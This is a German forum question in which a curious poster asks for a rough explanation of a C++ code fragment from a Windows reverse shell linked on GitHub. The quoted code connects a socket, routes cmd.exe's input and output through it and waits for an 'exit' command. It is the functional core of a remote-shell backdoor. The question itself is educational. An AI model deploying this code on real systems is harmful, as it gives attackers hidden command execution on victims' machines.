Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)